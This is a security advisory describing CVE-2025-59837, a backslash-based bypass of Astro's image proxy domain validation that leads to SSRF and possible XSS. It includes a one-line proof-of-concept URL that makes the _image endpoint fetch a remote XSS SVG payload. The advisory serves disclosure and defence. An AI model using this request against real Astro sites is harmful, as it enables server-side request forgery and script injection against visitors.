GHSA-qcpr-679q-rhm2HighCVSS 7.2

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Published
October 28, 2025
Last Modified
October 29, 2025

🔗 CVE IDs covered (1)

CVE-2025-59837 →

📋 Description

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

🎯 Affected products1

  • npm/astro:>= 5.13.4, < 5.13.10

🔗 References (5)